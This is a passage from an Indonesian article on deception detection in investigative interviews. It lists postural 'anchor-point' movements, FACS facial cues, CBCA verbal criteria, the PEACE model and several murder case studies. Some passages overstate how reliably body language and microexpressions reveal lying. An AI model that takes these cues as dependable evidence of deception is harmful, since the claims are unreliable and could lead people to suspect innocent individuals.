mencoba menahan diri untuk tidak pergi.</li><li><strong>Ankle locking around chair</strong>: Mengaitkan pergelangan kaki di sekitar kaki kursi, bentuk self-restraint yang lebih kuat dan sering muncul saat topik kontroversial dibahas.</li><li><strong>Ankle unlocking suddenly</strong>: Melepaskan ankle lock secara tiba-tiba, menandakan perubahan emosi atau preparation to leave.</li><li><strong>Ankle scratching</strong>: Menggaruk pergelangan kaki sebagai pacifying behavior dalam situasi high-stress.</li><li><strong>Ankle repositioning</strong>: Mengubah posisi pergelangan kaki berulang kali, menunjukkan ketidaknyamanan.</li></ul><h4>Hip and Buttocks Anchor-Point Movements</h4><ul><li><strong>Chair shifting/scooting</strong>: Menggeser kursi menjauh dari penyidik atau meja, menciptakan physical distance yang lebih besar.</li><li><strong>Buttocks repositioning</strong>: Menggeser posisi duduk berulang kali, tidak bisa menemukan posisi nyaman karena stres.</li><li><strong>Perching on edge</strong>: Duduk di ujung kursi, ready to leave position yang menunjukkan kesiapan untuk bangkit dan pergi.</li><li><strong>Sinking into chair</strong>: Sebaliknya, menekan tubuh lebih dalam ke kursi sebagai bentuk withdrawal atau wanting to disappear.</li><li><strong>Hip rotation away</strong>: Memutar pinggul sehingga tubuh tidak sepenuhnya menghadap penyidik.</li><li><strong>Weight shifting</strong>: Memindahkan berat badan dari satu sisi ke sisi lain secara repetitif.</li><li><strong>Sliding down in seat</strong>: Merosot dalam kursi, menunjukkan defeat atau keinginan untuk menghindari situasi.</li></ul><h4>Torso and Body Orientation Movements</h4><ul><li><strong>Chair rotation</strong>: Memutar kursi sehingga badan agak menjauh atau tidak menghadap langsung ke penyidik, seperti yang disebutkan dalam contoh.</li><li><strong>Torso turning</strong>: Memutar tubuh bagian atas menjauhi penyidik sementara kaki masih menghadap depan.</li><li><strong>Angling to the side</strong>: Memutar tubuh dalam sudut sehingga hanya sebagian tubuh menghadap penyidik.</li><li><strong>Progressive body angling</strong>: Sudut tubuh semakin menjauhi penyidik seiring pertanyaan menjadi lebih threatening.</li><li><strong>Leaning away</strong>: Mencondongkan seluruh tubuh menjauhi penyidik atau sumber ancaman.</li><li><strong>Leaning toward exit</strong>: Mencondongkan tubuh ke arah pintu atau exit point.</li></ul><h4>Leg Anchor-Point Movements (Sitting)</h4><ul><li><strong>Leg crossing away</strong>: Menyilangkan kaki dengan kaki atas mengarah menjauhi penyidik, creating barrier.</li><li><strong>Leg uncrossing suddenly</strong>: Membuka kaki yang sebelumnya bersilang, preparing for potential movement.</li><li><strong>Leg shaking</strong>: Menggoyang kaki secara tidak terkontrol, releasing nervous energy.</li><li><strong>Knee clasp while leaning back</strong>: Menggenggam lutut sambil mencondongkan tubuh ke belakang, defensive position.</li><li><strong>Knee clasp while leaning forward</strong>: Menggenggam lutut sambil condong ke depan, menunjukkan keinginan untuk berdiri dan pergi.</li><li><strong>Leg rubbing</strong>: Menggosok paha atau kaki sendiri, pacifying behavior combined dengan anchor-point movement.</li><li><strong>Leg kicking</strong>: Mengayunkan kaki yang bersilang, menunjukkan impatience atau keinginan untuk bergerak.</li><li><strong>Knee hugging</strong>: Menarik lutut ke dada saat duduk, extreme withdrawal position.</li></ul><h4>Standing Anchor-Point Movements</h4><ul><li><strong>Backward stepping</strong>: Melangkah mundur saat pertanyaan sulit diajukan atau bukti ditunjukkan.</li><li><strong>Side-stepping</strong>: Melangkah ke samping untuk menciptakan sudut atau jarak dari penyidik.</li><li><strong>Territorial stance widening</strong>: Melebarkan stance untuk claim territory, tetapi kemudian menyempitkannya sebagai preparation to leave.</li><li><strong>Weight shift on feet</strong>: Memindahkan berat badan dari satu kaki ke kaki lain berulang kali.</li><li><strong>Legs crossing while standing</strong>: Menyilangkan kaki saat berdiri, posisi tidak stabil yang menunjukkan discomfort.</li><li><strong>Rocking motion</strong>: Bergoyang maju-mundur atau kiri-kanan pada tumit dan jari kaki.</li><li><strong>Pivoting away</strong>: Memutar tubuh pada satu kaki untuk mengubah orientasi menjauhi penyidik.</li></ul><h4>Hand Anchor-Point Movements (When Seated)</h4><ul><li><strong>Gripping chair arms</strong>: Memegang sandaran tangan kursi dengan erat, preparing to push up and leave.</li><li><strong>Releasing chair grip</strong>: Melepaskan pegangan dari kursi, immediate preparation for departure.</li><li><strong>Finger tapping on table</strong>: Mengetuk jari di meja secara tidak terkontrol.</li><li><strong>Hand repositioning on lap</strong>: Memindahkan posisi tangan di pangkuan berulang kali.</li><li><strong>Palm-down pressure on thighs</strong>: Menekan telapak tangan ke paha, often precedes standing up.</li><li><strong>Gripping table edge</strong>: Memegang tepi meja, bisa menunjukkan tension atau preparation to push away.</li></ul><h4>Combination Anchor-Point Movements</h4><ul><li><strong>Feet + Chair movement cluster</strong>: Kaki mengarah ke pintu DAN kursi digeser menjauh secara bersamaan, powerful indicator of desire to escape.</li><li><strong>Torso rotation + foot orientation</strong>: Tubuh dan kaki sama-sama mengarah menjauhi penyidik.</li><li><strong>Progressive anchor shift</strong>: Dimulai dengan foot turning, diikuti chair shifting, kemudian torso angling — escalating intention to leave.</li><li><strong>Anchor freezing</strong>: Semua anchor points tiba-tiba membeku setelah pertanyaan kritis, complete freeze response.</li><li><strong>Anchor clustering</strong>: Beberapa anchor points bergerak bersamaan (feet pointing away + leg shaking + chair shifting).</li></ul><h4>Timing and Context Indicators</h4><ul><li><strong>Immediate anchor response</strong>: Anchor-point movement terjadi langsung setelah pertanyaan atau bukti tertentu disajikan — strong indicator of sensitive topic.</li><li><strong>Delayed anchor response</strong>: Movement terjadi beberapa detik setelah pertanyaan, menunjukkan processing time sebelum unconscious reaction.</li><li><strong>Sustained anchor position</strong>: Mempertahankan anchor position yang menjauh untuk waktu lama, indicating persistent discomfort.</li><li><strong>Anchor reversal</strong>: Kembali ke posisi facing setelah topik berubah, confirmation bahwa topik sebelumnya adalah trigger.</li><li><strong>Anchor escalation</strong>: Movement bertambah intens atau ekstrem seiring pertanyaan berlanjut.</li></ul><h4>Spesifik Situasi Interogasi</h4><ul><li><strong>Pre-departure positioning</strong>: Mengatur anchor points (feet toward door, perching on chair edge, loose grip) sebelum menyatakan ingin mengakhiri wawancara.</li><li><strong>False cooperation anchoring</strong>: Verbal mengatakan “saya mau membantu” tetapi feet pointing away dan chair angled away — body betrays true intention.</li><li><strong>Evidence-triggered anchoring</strong>: Anchor-point movements yang terjadi immediately saat bukti spesifik ditunjukkan.</li><li><strong>Question-specific anchoring</strong>: Certain questions consistently trigger same anchor movements, mapping deception areas.</li><li><strong>Baseline deviation</strong>: Perubahan drastik dari anchor baseline subject (misalnya dari posisi terbuka menjadi feet locked dan body angled).</li></ul><h4>Interpretasi Anchor-Point Movements</h4><p>Gerakan halus seperti ini menggambarkan konflik antara keinginan sadar untuk bertahan (agar tidak tampak mencurigakan) dan dorongan bawah sadar untuk melarikan diri. Anchor-point movements adalah di antara indicators paling reliable karena sangat sulit dikontrol secara sadar — orang cenderung fokus mengontrol wajah dan tangan mereka, sementara kaki dan pinggul “berbicara” dengan jujur tentang true intentions.[<a href="https://stevebizblog.com/how-to-spot-lying-deceptive-behaviors/">stevebizblog</a>]​</p><p>Penting untuk memperhatikan bahwa anchor-point movements paling signifikan ketika muncul sebagai respons langsung terhadap stimulus spesifik (pertanyaan, bukti, atau topik tertentu). Timing dan context dari movements ini lebih penting daripada movement itu sendiri. Observasi anchor points memberikan window unik ke dalam limbic brain responses yang genuine dan unfiltered.</p><h3>4. Analisis Wajah: FACS, Emosi Universal, dan Mikroekspresi</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FpN1hUDmuNv0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DpN1hUDmuNv0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FpN1hUDmuNv0%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e7774942e3a45f67e974526a555d485d/href">https://medium.com/media/e7774942e3a45f67e974526a555d485d/href</a></iframe><p>Wajah adalah “panggung utama” emosi manusia, namun juga saluran yang paling sering dimanipulasi secara sadar. Untuk menganalisisnya secara ilmiah, Paul Ekman mengembangkan Facial Action Coding System (FACS) yang menguraikan setiap ekspresi menjadi unit aksi otot wajah (Action Units/AU). Penelitian Ekman menunjukkan bahwa setidaknya tujuh emosi dasar — marah, takut, sedih, muak, gembira, terkejut, dan penghinaan (contempt) — memiliki ekspresi yang universal lintas budaya.</p><p>Dalam konteks interogasi, yang sangat penting adalah ketidaksinkronan antara ekspresi wajah dan isi ucapan. Ketika kata-kata menyatakan “sedih” tapi wajah menampilkan contempt, atau sebaliknya, itulah “hot spot” yang layak digali lebih jauh.</p><p>Berbagai emosi itu antara lain:</p><ul><li><strong>Muak (disgust)</strong>: ditandai kerutan pada hidung (AU9) dan terangkatnya bibir atas (AU10). Muncul, misalnya, ketika subjek menyebut nama korban atau perbuatan yang sebenarnya ia lakukan dan ia sendiri anggap menjijikkan.</li><li><strong>Penghinaan (contempt)</strong>: biasanya tampak pada satu sudut bibir yang terangkat asimetris (AU14), seolah mengejek. Jika contempt muncul saat subjek berpura-pura “kooperatif” dengan penyidik, ini dapat menjadi sinyal adanya perasaan superioritas dan kemungkinan penipuan.</li><li><strong>Ketakutan (fear)</strong>: kombinasi alis terangkat dan menyatu (AU1+2+4), mata terbuka lebar (AU5), dan bibir tertarik horizontal (AU20). Ekspresi ini sering muncul ketika penyidik mulai mendekati fakta yang sebenarnya.</li><li><strong>Kesedihan (sadness)</strong>: sudut dalam alis terangkat (AU1) dan sudut bibir merosot turun (AU15). Kesedihan orisinal sulit dipalsukan secara penuh karena melibatkan otot dahi tertentu; banyak pelaku mencoba “menangis” namun otot alisnya tidak mengikuti, sehingga tampak teatrikal.</li><li><strong>Kegembiraan (happiness)</strong>: senyum yang tulus (Duchenne smile) melibatkan kerutan di sudut mata (AU6) selain bibir (AU12). Senyum palsu biasanya hanya mengangkat bibir tanpa mengaktifkan otot sekitar mata. Dalam konteks deception, waspadai “duping delight”: kilatan senyum atau cekikikan kecil pada saat yang seharusnya tidak menyenangkan (misalnya ketika membicarakan hilangnya keluarga).</li><li><strong>Marah (anger)</strong>: alis turun dan menyatu (AU4), mata menajam (AU5), bibir menipis (AU23). Amarah yang tulus biasanya tumbuh bertahap dan berlangsung konsisten; “kemarahan” yang meledak sekejap lalu lenyap tiba-tiba sering kali dramatis dan terkesan dibuat-buat.</li><li><strong>Terkejut (surprise)</strong>: alis melengkung tinggi (AU1+2), rahang turun (AU26). Emosi ini secara alamiah sangat singkat (kurang dari 1 detik). Jika ekspresi terkejut dipertahankan beberapa detik atau bahkan lebih lama, besar kemungkinan itu rekayasa.</li></ul><p>Di atas semua itu, mikroekspresi memainkan peran krusial. Mikroekspresi adalah ekspresi sangat singkat (sekitar 1/25–1/15 detik) yang muncul ketika emosi asli “bocor” sebelum sempat ditekan. Contohnya, ketika seseorang berkata, “Saya sangat sedih istri saya hilang,” namun dalam sepersekian detik terlihat sudut bibir terangkat satu sisi (contempt) atau sedikit senyum. Di level kasat mata mungkin hanya terasa “ada yang janggal”; pelatihan intensif memungkinkan penyidik menangkap kilatan-kilatan ini dengan lebih akurat.</p><h3>5. Analisis Verbal: SVA, CBCA, dan Tanda Linguistik Kebohongan</h3><p>Deteksi kebohongan tidak bisa hanya mengandalkan tubuh dan wajah. Struktur cerita dan kata-kata yang dipilih subjek juga memuat informasi penting. Dalam psikologi forensik, pendekatan Statement Validity Assessment (SVA) dan Criteria-Based Content Analysis (CBCA) berangkat dari Hipotesis Undeutsch: pernyataan tentang pengalaman nyata memiliki kualitas berbeda dari pernyataan yang direkayasa atau dihafal.</p><p>Penelitian meta-analitik menunjukkan bahwa kriteria-kriteria CBCA secara umum mampu membedakan antara memori peristiwa yang benar-benar dialami dan yang dibuat-buat, baik pada anak maupun dewasa, meski penggunaannya harus mempertimbangkan konteks dan moderator (usia, jenis kasus, budaya).</p><p>Beberapa ciri inti cerita yang cenderung jujur antara lain:</p><ol><li><strong>Produksi tidak terstruktur sempurna</strong>. Ingatan manusia bersifat asosiatif, bukan seperti garis lurus. Cerita jujur sering melompat-lompat waktu: “Oh, sebelum itu saya baru ingat, saya sempat mampir ke warung…”. Kebohongan justru lebih sering disusun sangat rapi dan kronologis (A lalu B lalu C) karena telah dipersiapkan dan dihafal.</li><li><strong>Kuantitas detail tinggi</strong>. Pengalaman nyata biasanya kaya detail periferal — suara di latar, bau tertentu, posisi benda kecil. Pembohong cenderung menghindari detail untuk mengurangi risiko kontradiksi di kemudian hari. Cerita mereka menjadi kerangka besar tanpa “tekstur” indrawi.</li><li><strong>Koreksi spontan</strong>. Orang jujur tidak takut tampak tidak sempurna. Mereka sering mengoreksi diri: “Seingat saya jaketnya biru… eh, mungkin lebih ke hitam tua.” Pembohong enggan mengoreksi karena takut terlihat inkonsisten, sehingga cerita cenderung “terlalu rapi”.</li><li><strong>Pengakuan atas ketidakmampuan mengingat</strong>. Ungkapan seperti “Bagian itu saya benar-benar tidak ingat” sering kali justru menandakan kejujuran. Pembohong biasanya menghindari mengatakan “tidak ingat” pada bagian penting; mereka terdorong untuk “mengingat” segalanya demi meyakinkan penyidik.</li><li><strong>Penyematan kontekstual (contextual embedding)</strong>. Peristiwa nyata tertambat pada ruang, waktu, dan rutinitas (“Itu terjadi pas iklan sinetron X muncul, saya ingat karena saya selalu matikan TV saat iklan itu”). Kebohongan sering mengambang tanpa jangkar waktu yang jelas atau terlalu umum (“pokoknya sore-sore”).</li></ol><p>Selain struktur isi, analisis linguistik juga memperhatikan gaya bahasa:</p><ul><li><strong>Penggunaan kata ganti orang (pronoun usage)</strong>. Pembohong kerap menjauhkan diri dari perbuatannya dengan mengurangi kata “saya” dan menggantinya dengan kalimat pasif atau impersonal. Misalnya, daripada “Saya memarkir mobil di sana,” mereka mengatakan, “Mobil itu diparkir di sana.”</li><li><strong>Pergeseran waktu (tense shift)</strong> dalam bahasa yang memiliki kala (seperti Inggris). Berbicara tentang korban yang masih diklaim hidup dalam bentuk lampau (“my children wanted me”) dapat mengindikasikan kebocoran pengetahuan bahwa mereka sebenarnya sudah meninggal, seperti terlihat pada kasus Susan Smith.</li><li><strong>Pernyataan meyakinkan (convincing statements)</strong>. Kalimat yang berlebihan seperti “Jujur saja…”, “Demi Tuhan saya tidak…”, atau “Sejujur-jujurnya…”. Orang jujur biasanya mengandalkan isi fakta, bukan sumpah berulang. Frekuensi sumpah yang tinggi sering kali menandakan upaya kompensasi terhadap cerita yang sebenarnya rapuh.</li></ul><p>Penting ditekankan bahwa CBCA dan analisis bahasa bukan “mesin pendeteksi kebohongan otomatis”. Mereka harus digunakan sebagai bagian dari SVA yang utuh, termasuk penilaian konteks, kemungkinan coaching, dan kualitas wawancara.</p><h3>6. PEACE vs. Reid: Dari Interogasi Memaksa ke Wawancara Investigatif</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FxfPgM2wqROY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DxfPgM2wqROY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FxfPgM2wqROY%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0af165d903449c7634af7b9a82902fe3/href">https://medium.com/media/0af165d903449c7634af7b9a82902fe3/href</a></iframe><p>Secara historis, banyak lembaga penegak hukum menggunakan pendekatan konfrontatif seperti Teknik Reid, yang bertujuan utama memaksa pengakuan. Pendekatan ini bersifat tuduhan langsung, menekan, sering memotong penyangkalan, dan kadang memanipulasi bukti. Selain menimbulkan risiko pengakuan palsu, metode seperti itu merusak baseline perilaku; stres tinggi menjadikan hampir semua orang tampak “bersalah”, sehingga sinyal deception menjadi kabur.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FJ9_O8pZmWxE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DJ9_O8pZmWxE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FJ9_O8pZmWxE%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cd9dc3e47ca4bc79514df4f8dc1ff381/href">https://medium.com/media/cd9dc3e47ca4bc79514df4f8dc1ff381/href</a></iframe><p>Sebagai respons, Inggris mengembangkan <strong>Model PEACE</strong> (Preparation and Planning, Engage and Explain, Account, Closure, Evaluation) yang sekarang menjadi standar emas wawancara investigatif etis di banyak yurisdiksi. PEACE menekankan:</p><ul><li>Tujuan utama adalah memperoleh informasi akurat, bukan sekadar pengakuan.</li><li>Pendekatan non-koersif, berfokus pada rapport, mendengarkan aktif, dan pertanyaan terbuka.</li><li>Struktur wawancara sistematis: persiapan matang, pembukaan yang menjelaskan hak dan tujuan, fase penggalian cerita bebas, penutupan yang terencana, dan evaluasi pascawawancara.</li></ul><p>Dibandingkan Reid, PEACE mengurangi risiko pengakuan palsu dan menjaga integritas perilaku. Jika subjek yang diperlakukan sopan, diberikan kesempatan bercerita luas, tetapi justru menunjukkan klaster stres dan ketidaksinkronan ketika membahas bagian tertentu, indikasi internal kebohongan menjadi lebih kuat.</p><p>Bagi psikolog forensik, PEACE menguntungkan karena memungkinkan observasi perilaku yang “lebih murni” — stres yang muncul lebih mungkin berasal dari konflik internal (bohong vs jujur), bukan dari ancaman eksternal (teriakan, tekanan berlebihan).</p><h3>7. Panduan Operasional Langkah Demi Langkah</h3><p>Kerangka berikut menggambarkan bagaimana konsep di atas diterapkan secara praktis dalam wawancara diagnostik kebohongan, sejalan dengan struktur PEACE.</p><h3>Fase 1: Persiapan dan Intelijen (Preparation)</h3><p>Sebelum bertemu subjek, penyidik wajib menguasai seluruh fakta kasus: kronologi, saksi, bukti fisik, CCTV, rekaman digital, dan sebagainya. Dari sini, ditetapkan <strong>hold-back evidence</strong> — bukti kunci yang sengaja tidak diungkap di awal. Bukti ini nanti digunakan untuk menguji konsistensi dan kejujuran subjek.</p><p>Selain itu, penyidik perlu memprofil subjek: latar belakang sosial, tingkat pendidikan, kemungkinan gangguan kepribadian (misalnya narsistik), serta kemampuan kognitif. Hal ini menentukan kompleksitas bahasa yang digunakan dan jenis teknik kognitif yang layak diterapkan.</p><p>Terakhir, susun rencana wawancara: daftar pertanyaan baseline (netral) dan pertanyaan kritis, urutan tema, serta strategi kapan dan bagaimana konfrontasi bukti akan dilakukan.</p><h3>Fase 2: Membangun Rapport dan Baseline (Engage &amp; Explain)</h3><p>Di awal pertemuan, ruangan diatur sedemikian rupa sehingga seluruh tubuh subjek terlihat (untuk memantau gerak kaki dan postur). Kursi yang digunakan sebaiknya tidak beroda agar gerakan anchor point lebih mudah dibaca.</p><p>Penyidik menjelaskan tujuan wawancara, hak-hak subjek, serta menanyakan apakah ia nyaman. Kemudian, selama 3–5 menit, ajukan pertanyaan netral yang menuntut ingatan rinci: perjalanan ke kantor polisi, rutinitas pagi hari, atau riwayat pekerjaan. Di tahap ini, penyidik:</p><ul><li>Mengamati ritme bicara, nada suara, dan panjang jeda sebelum menjawab.</li><li>Memperhatikan posisi tangan saat rileks, frekuensi menyentuh wajah, serta arah pandangan.</li><li>Mencatat gaya khas subjek, yang akan menjadi patokan ketika memasuki topik-topik sensitif.</li></ul><p>Rapport yang baik bukan hanya etis, tetapi juga fungsional: semakin subjek merasa “aman”, semakin jelas perbedaan antara respons jujur (relatif tenang) dan respons ketika ia berbohong (stres meningkat).</p><h3>Fase 3: Penggalian Narasi Murni (Account)</h3><p>Setelah baseline terbentuk, penyidik beralih ke inti perkara dengan pertanyaan terbuka yang luas, misalnya, “Ceritakan dari awal sampai akhir apa yang terjadi menurut Anda, selengkap mungkin.”</p><p>Prinsip emas di sini: <strong>jangan memotong</strong>. Biarkan subjek bercerita secara penuh tanpa interupsi, bahkan jika ada bagian yang tampak mengada-ada. Pembohong biasanya sangat bergantung pada umpan balik untuk menyesuaikan ceritanya; keheningan justru membuat mereka kehilangan “pegangan”.</p><p>Selama subjek bercerita, penyidik mencatat:</p><ul><li>Bagian mana yang mengalir lancar, dan bagian mana yang disertai jeda panjang, perubahan nada, atau penurunan gestur.</li><li>Momen-momen ketika muncul klaster pacifying atau blocking tepat setelah menyentuh topik tertentu.</li><li>Kualitas narasi: apakah detail periferal kaya, ada koreksi spontan, dan ada pengakuan “tidak ingat”, atau justru cerita terasa kaku dan terlalu sempurna.</li></ul><p>Tahap ini menghasilkan “bahan mentah” yang nantinya dibedah lebih rinci dengan pertanyaan lanjutan.</p><h3>Fase 4: Teknik Aksentuasi Kognitif (Cognitive Challenge)</h3><p>Jika pada fase sebelumnya muncul indikasi kebohongan, penyidik kemudian menerapkan teknik untuk menambah beban kognitif secara selektif pada bagian-bagian yang mencurigakan. Beberapa teknik utama:</p><ol><li><strong>Reverse order</strong>: subjek diminta menceritakan kejadian yang sama, tetapi dari akhir ke awal (“Mulai dari saat Anda tiba di rumah, lalu sebelumnya apa, dan sebelumnya lagi apa…”). Cerita jujur memang menjadi lebih sulit, tetapi tetap bisa diceritakan dengan konsisten, meski kurang runtut. Pembohong yang menghafal skrip kronologis biasanya akan tersendat, mengulang-ulang, atau membuat kesalahan mencolok.</li><li><strong>Permintaan sketsa atau denah</strong>: subjek diminta menggambar denah lokasi kejadian dan posisi orang atau objek penting. Kebohongan spasial lebih sulit dipertahankan dibanding kebohongan verbal; ketidaksesuaian antara gambar dan narasi lisan sering kali muncul — misalnya tidak ada pintu keluar yang sebelumnya disebut, atau posisi korban berubah tanpa alasan logis.</li><li><strong>Pertanyaan tak terduga (unanticipated questions)</strong>: penyidik menanyakan detail sensorik atau kontekstual yang biasanya tidak dipersiapkan pembohong, seperti “Apa bau yang paling menyengat di ruangan itu?”, “Musik apa yang paling diingat dari restoran itu?”, atau “Bagian mana lantai yang licin?”</li></ol><p>Teknik-teknik ini menambah beban kerja otak; ketika kapasitas puncak tercapai, integritas kebohongan runtuh lebih cepat daripada integritas cerita jujur.</p><h3>Fase 5: Konfrontasi Bukti (Challenge/Clarify) dengan Strategic Use of Evidence</h3><p>Strategic Use of Evidence (SUE) mengharuskan penyidik tidak tergesa-gesa menunjukkan bukti yang dimiliki. Pertama-tama, subjek dipancing untuk membuat pernyataan spesifik yang dapat diuji terhadap bukti tersebut.</p><p>Misalnya, ketika ada CCTV yang menunjukkan subjek di Tempat Kejadian Perkara (TKP), penyidik lebih dulu bertanya, “Apakah ada kemungkinan Anda melewati Jalan Mawar hari itu?” Jika subjek menjawab “Tidak, saya seharian di kantor,” maka ia secara sadar menempatkan diri pada posisi yang kontradiktif dengan bukti. Barulah kemudian CCTV diperlihatkan dengan pertanyaan, “Bagaimana Anda menjelaskan rekaman ini?”</p><p>Reaksi yang muncul sangat informatif: orang jujur biasanya kebingungan, mencoba mengingat, dan bersedia mempertimbangkan kemungkinan lupa. Pembohong cenderung menunjukkan kemarahan defensif mendadak atau sikap menyerah (defeat posture) — bahu turun, kepala tertunduk, suara melemah.</p><h3>Fase 6: Penutup dan Evaluasi (Closure &amp; Evaluation)</h3><p>Di akhir wawancara, penyidik merangkum versi cerita subjek dan mengulang poin-poin kritis untuk dikonfirmasi. Subjek diberi kesempatan untuk menambahkan, mengoreksi, atau mengubah keterangannya. Ini adalah “jebakan terakhir”: perubahan signifikan pada fase ini sering membuka kontradiksi baru atau mengungkap pola kebohongan yang sebelumnya terselubung.</p><p>Setelah itu, penyidik mengevaluasi wawancara: mengintegrasikan klaster perilaku non-verbal, petunjuk wajah, analisis verbal, dan kecocokan dengan bukti objektif. Kesimpulan tidak boleh diambil semata-mata berdasarkan bahasa tubuh atau gaya bicara, melainkan dari keseluruhan pola yang konsisten.</p><h3>8. Studi Kasus: Penerapan Prinsip di Lapangan</h3><p>Beberapa kasus profil tinggi memperlihatkan bagaimana teori-teori di atas bekerja dalam kenyataan:</p><p><strong>Kasus Susan Smith</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fov8n3b567tU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dov8n3b567tU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fov8n3b567tU%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/8998114e580fa66affe0e8e0d7b8becf/href">https://medium.com/media/8998114e580fa66affe0e8e0d7b8becf/href</a></iframe><p>Susan Smith mengklaim anak-anaknya diculik ketika mobilnya dibajak, padahal ia sendiri menenggelamkan mereka. Dalam pernyataan di depan media, ia berkata, “My children wanted me. They needed me.” Penggunaan bentuk lampau (“wanted”) untuk anak yang secara resmi masih dianggap hidup mencerminkan kebocoran bawah sadar bahwa ia tahu mereka sudah tiada.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FTL7SPzjKpR4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DTL7SPzjKpR4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FTL7SPzjKpR4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0c77f314cd486a6802a0182c2916871b/href">https://medium.com/media/0c77f314cd486a6802a0182c2916871b/href</a></iframe><p>Secara analisis isi, narasinya miskin detail tentang interaksi dengan “pelaku penculikan” dan kurang penyematan kontekstual. Fokusnya lebih pada perasaannya (“My heart is breaking”) ketimbang upaya konkret menyelamatkan anak. Secara non-verbal, ia menutup wajah dengan tangan (blocking) dan mengeluarkan suara menangis tanpa air mata nyata — menandakan emosi yang dimanipulasi, bukan kesedihan otentik.</p><p><strong>Kasus Chris Watts</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FjSDrjTvxlWg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DjSDrjTvxlWg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FjSDrjTvxlWg%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/72a0a6b9b04e8c97005e09d4898ecf06/href">https://medium.com/media/72a0a6b9b04e8c97005e09d4898ecf06/href</a></iframe><p>Dalam wawancara di teras rumah setelah istri dan anaknya “dilaporkan hilang”, Chris Watts menampilkan klaster pacifying intens: bergoyang dari kiri ke kanan seolah menenangkan diri, sering menyilangkan tangan (blocking), dan kerap mengalihkan pandangan.</p><p>Saat ditanya tentang harapannya agar keluarga kembali, muncul senyum kecil miring dan cekikikan — contoh “duping delight” yang bertolak belakang dengan situasi seorang suami dan ayah yang seharusnya cemas. Selain itu, ia mengatakan, “Saya ingin mereka kembali,” sambil menggelengkan kepala — ketidaksinkronan antara isi verbal dan bahasa tubuh (gesture “tidak” saat menyatakan keinginan positif).</p><p><strong>Kasus Kolonel Russell Williams</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FbsLbDzkIy3A%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DbsLbDzkIy3A&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FbsLbDzkIy3A%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/aea92f2f211df58624408ea7534d0d3f/href">https://medium.com/media/aea92f2f211df58624408ea7534d0d3f/href</a></iframe><p>Dalam interogasi terkenal oleh Detektif Jim Smyth, pendekatan PEACE diterapkan dengan sangat efektif. Smyth duduk sejajar, berbicara tenang, dan memberi kesan sekadar “mengurus administrasi”. Ia membiarkan Williams bercerita panjang lebar, tanpa membentak atau menuduh secara frontal.</p><p>Setelah Williams terikat pada serangkaian pernyataan yang jelas-jelas menempatkannya jauh dari TKP, Smyth dengan tenang menyodorkan foto jejak sepatu bot Williams di lokasi kejahatan, sambil bertanya, “Ini sepatu bot Anda, kan?” Beban kognitif dan konflik logis yang timbul begitu besar sehingga Williams terdiam lama. Tanpa musuh eksternal untuk dilawan — karena penyidik tetap sopan — pertahanan internalnya runtuh dan ia akhirnya mengakui perbuatannya secara penuh.</p><p><strong>Kasus Stephen McDaniel</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F4_eCys3EelQ%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D4_eCys3EelQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F4_eCys3EelQ%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7c032de746af3b81b51a9d00dc316802/href">https://medium.com/media/7c032de746af3b81b51a9d00dc316802/href</a></iframe><p>McDaniel 